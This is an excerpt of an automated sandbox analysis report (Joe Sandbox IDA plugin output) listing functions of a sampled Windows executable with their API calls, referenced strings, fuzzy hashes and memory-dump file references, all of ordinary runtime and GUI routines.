Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Classlstrcat$H_prologInfoRegister
String ID:
API String ID: 106226465-0
Opcode ID: e8bb3223f88ee7114d64e184907d49c411804475e7af0826a0379bea8c10b2b8
Instruction ID: b61ff772979261dce3e166c97e45b43b70db7183aafd571e81276a99b45e250c
Opcode Fuzzy Hash: e8bb3223f88ee7114d64e184907d49c411804475e7af0826a0379bea8c10b2b8
Instruction Fuzzy Hash: B811E136A00214BFCB10AF75D845EAE7FB8EF85714F00456BF902A7651D778E6018BA9

Function 00485AE6 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000103,7FFFFFFF,00482B52,00484A9B,00000000,?,?,00000000,00000001), ref: 00485AE8
TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 00485AF6
SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 00485B42

Part of subcall function 00482F46: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 0048303C

TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 00485B1A
GetCurrentThreadId.KERNEL32 ref: 00485B2B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: dadd5290e1e0838316c0087c5a15f87bff81a026cd2d467814156772281128f4
Instruction ID: 782c174f901fc56216b61bb453d7d4d69847b9b6301057904525ce572cae5d89
Opcode Fuzzy Hash: dadd5290e1e0838316c0087c5a15f87bff81a026cd2d467814156772281128f4
Instruction Fuzzy Hash: F0F0F636900A215BC7303B35BC49A5E7F51EB067A1F100A3AFA41E52F0CF6898419798

Function 0049B48F Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32(00000000,?,?,0049B99C,00000000,00000001), ref: 0049B49B
GlobalHandle.KERNEL32(006C2DD0), ref: 0049B4C3
GlobalUnlock.KERNEL32(00000000), ref: 0049B4CC
GlobalFree.KERNEL32(00000000), ref: 0049B4D3
DeleteCriticalSection.KERNEL32(004FCF58,?,?,0049B99C,00000000,00000001), ref: 0049B4DD

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Global$Free$CriticalDeleteHandleSectionUnlock
String ID:
API String ID: 2159622880-0
Opcode ID: b2ba6dad4e4b0c2ffbb94787964f96c64cf6e815fac05c4f2c4131203ebb505a
Instruction ID: e20d67b46f6c84ca3ca5511521e7b4f09662250be8ff04458d6d5add9854d7cb
Opcode Fuzzy Hash: b2ba6dad4e4b0c2ffbb94787964f96c64cf6e815fac05c4f2c4131203ebb505a
Instruction Fuzzy Hash: EFF054362005105FDA209F69BD4CA6B7FACDF86761B15457AF905D33A1CB68DC0287A8

Function 0040BEB4 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 313windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,000000B0,?,?), ref: 0040C177
SendMessageA.USER32(?,000000B0,?,?), ref: 0040C1D4
SendMessageA.USER32(?,000000B0,?,?), ref: 0040C238

Strings

@, xrefs: 0040BEB4

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessageSend
String ID: @
API String ID: 3850602802-2766056989
Opcode ID: 6a56ddd2e0bbe0198caae3cdeb5c5e06ef7f21935f4875803b2be702a59476c3
Instruction ID: 38582b52d2f615ec0aa97b946dccda630670411678230d73a90d6afe61afec6c
Opcode Fuzzy Hash: 6a56ddd2e0bbe0198caae3cdeb5c5e06ef7f21935f4875803b2be702a59476c3
Instruction Fuzzy Hash: 21D14975604B50CFD314DF18C481BAAB7E5FBD8B14F008A2EE88A87790D77AAD41CB42

Function 00417E50 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

Part of subcall function 0041B850: GetCurrentThreadId.KERNEL32 ref: 0041B875
Part of subcall function 0041B850: IsWindow.USER32(00010440), ref: 0041B891
Part of subcall function 0041B850: SendMessageA.USER32(00010440,000083E7,?,00000000), ref: 0041B8AA
Part of subcall function 0041B850: ExitProcess.KERNEL32 ref: 0041B8BF

DeleteCriticalSection.KERNEL32(004DBEB8,?,?,?,?,?,?,?,?,00422ECD), ref: 00417E8A

Part of subcall function 00493DE6: __EH_prolog.LIBCMT ref: 00493DEB

Strings

`J, xrefs: 00417EC2
#, xrefs: 00418103
!, xrefs: 00417E78

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CriticalCurrentDeleteExitH_prologMessageProcessSectionSendThreadWindow
String ID: !$#$`J
API String ID: 2888814780-3174050411
Opcode ID: f20964ea592daf27b7b2d64fa7dba7a6b5b2a55c777ea8b0139bac1a22c76e8a
Instruction ID: fdee651819b0b800f79beef2f278b93dbe2c258c4bf4824aae22c2db6cc8aa23
Opcode Fuzzy Hash: f20964ea592daf27b7b2d64fa7dba7a6b5b2a55c777ea8b0139bac1a22c76e8a
Instruction Fuzzy Hash: 95915B70018B82CED316EF74C0847DABFE4AF76308F54485EE4D646293DBB96248C7A6

Function 00437E90 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 157COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00437ECF
CreateFontIndirectA.GDI32(00000028), ref: 00437F38
GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 00437F7F

Strings

(, xrefs: 00437F24

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CreateExtentFontIndirectPoint32Textwsprintf
String ID: (
API String ID: 3175173087-3887548279
Opcode ID: 3ba71c37f8ac9030ce3edb7e202ed519036da5a2dc6eaddc6f8faf48966541a1
Instruction ID: d8d5b801cc0e17430b38c2edb5238bd7e225e7ab343eaeeadee07c2d0e3bbf36
Opcode Fuzzy Hash: 3ba71c37f8ac9030ce3edb7e202ed519036da5a2dc6eaddc6f8faf48966541a1
Instruction Fuzzy Hash: F551C4752083458FC324CF28C884B6BBBE5FF89304F144A1EF59683381DBB5A905CB96

Function 0042EBF0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

, xrefs: 0042EC29
lJ, xrefs: 0042ED8F

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: $lJ
API String ID: 0-3015593574
Opcode ID: df195e75be1fe7c6e0488450a27f0c5a4f11b261e9c5f8a55090c48eb8ff0462
Instruction ID: 5dcaaff9ce3d6dd7ab54508e2ea05b0b6d76d4f70905b52aada8a6eee3ca5a9d
Opcode Fuzzy Hash: df195e75be1fe7c6e0488450a27f0c5a4f11b261e9c5f8a55090c48eb8ff0462
Instruction Fuzzy Hash: A051BE712143529FD718DF26D880B6BB7A4FB95358F400A2EF94293391DB38EC45CB9A

Function 0046EEA0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

__ftol.LIBCMT ref: 0046EEB5
__ftol.LIBCMT ref: 0046EF09

Strings

gfff, xrefs: 0046EF7D
VUUU, xrefs: 0046EF43

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: __ftol
String ID: VUUU$gfff
API String ID: 495808979-2662692612
Opcode ID: 9f50bd098f97b9228d7c07b049018d02d1756c4f5d45a97c4cfbb6e39d557a6e
Instruction ID: 8cdc888df078e833c40f6c98998ae1956fb98bf79dbdb5557b7cbd20b2b8729f
Opcode Fuzzy Hash: 9f50bd098f97b9228d7c07b049018d02d1756c4f5d45a97c4cfbb6e39d557a6e
Instruction Fuzzy Hash: 1A314677F002554BD31C5D2F985022AB2C6F7D4314B66863EE85ACB391EB6A9C4483CD

Function 00497B0F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32 ref: 00497B2B
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000020), ref: 00497B7E
GlobalUnlock.KERNEL32(?), ref: 00497C15

Strings

@, xrefs: 00497B68

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Global$ByteCharLockMultiUnlockWide
String ID: @
API String ID: 231414890-2766056989
Opcode ID: 4df2780248dc19c896b4e008366ca368d8436ded9895dfbd48a0fa8d0c48181f
Instruction ID: 032a8dc79ca60e74958dc5c920dd6eb0f4e26866a1ec3b513c60fac624cd7c50
Opcode Fuzzy Hash: 4df2780248dc19c896b4e008366ca368d8436ded9895dfbd48a0fa8d0c48181f
Instruction Fuzzy Hash: 0B41E872814215EBCF14DF54C8819AEBFB4FF44358F14C17AE815AB254D338AA46CB98

Function 0042E981 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

, xrefs: 0042E9C5
lJ, xrefs: 0042EA8A

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: $lJ
API String ID: 0-3015593574
Opcode ID: 261bd36220948df782e41914b9a23d702e36c170454b9f412b97bca03353f5d0
Instruction ID: 55ce560ce4facbf4343efab2482ace7db9e9ffd1962f4091b8e1922c3e38959b
Opcode Fuzzy Hash: 261bd36220948df782e41914b9a23d702e36c170454b9f412b97bca03353f5d0
Instruction Fuzzy Hash: 673189712183409FC718DF25C844B6BB7F4FB95724F448A2EF896932D0D7789806CB9A

Function 0049BDA0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetMenuCheckMarkDimensions.USER32 ref: 0049BDAC
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 0049BE5B
LoadBitmapA.USER32(00000000,00007FE3), ref: 0049BE73

Strings

, xrefs: 0049BDBB

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu
String ID:
API String ID: 2596413745-3916222277
Opcode ID: dfa580559f71ec70253e3f03adffb8d2107f3d67c79e1e20e7c9a3405d44cffa
Instruction ID: 0b732e5b56029b0b28bb6ee5cf0c23d972d6a447cbc94716518285be6c1c73b6
Opcode Fuzzy Hash: dfa580559f71ec70253e3f03adffb8d2107f3d67c79e1e20e7c9a3405d44cffa
Instruction Fuzzy Hash: 94212572E00215AFDF10CB78DD89BAE7BB9EB84304F054276E905EB2C2D7749A048B84

Function 0048D377 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?), ref: 0048D3E8

Part of subcall function 0048D44C: GetDriveTypeA.KERNEL32(?,?,0048D38E,?,?), ref: 0048D46B

GetFullPathNameA.KERNEL32(?,00000104,?,?,?), ref: 0048D3D4

Strings

:, xrefs: 0048D3CC
., xrefs: 0048D3D0

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CurrentDirectoryDriveFullNamePathType
String ID: .$:
API String ID: 3995704478-4202072812
Opcode ID: d22120170eaad2d4f756cb689012f65e476789c3083afc2ce3a49a4bccd1af66
Instruction ID: fdc4d176e57c43568ba85b01801c6a0f1f9cfe859ca427547016083d08d57543
Opcode Fuzzy Hash: d22120170eaad2d4f756cb689012f65e476789c3083afc2ce3a49a4bccd1af66
Instruction Fuzzy Hash: BC21C671605245EAEB10FF65D881BDE37A8AF11304F10485BF955DA1C2DBB8E980873E

Function 0041E790 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(?,WTWindow,00000000), ref: 0041E7B8
LoadCursorA.USER32(00000000,00007F00), ref: 0041E7C9
GetStockObject.GDI32(00000005), ref: 0041E7D3

Strings

WTWindow, xrefs: 0041E7AC, 0041E7B6

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ClassCursorInfoLoadObjectStock
String ID: WTWindow
API String ID: 1762135420-3503404378
Opcode ID: 0b49a1b49d496e8687fed6f6431e675e74bbc2a02f9718387de522c3743d88df
Instruction ID: e61a1c111785364e6f837407a7458d8b91103c2ba6615b21ac822c8a39d4eca9
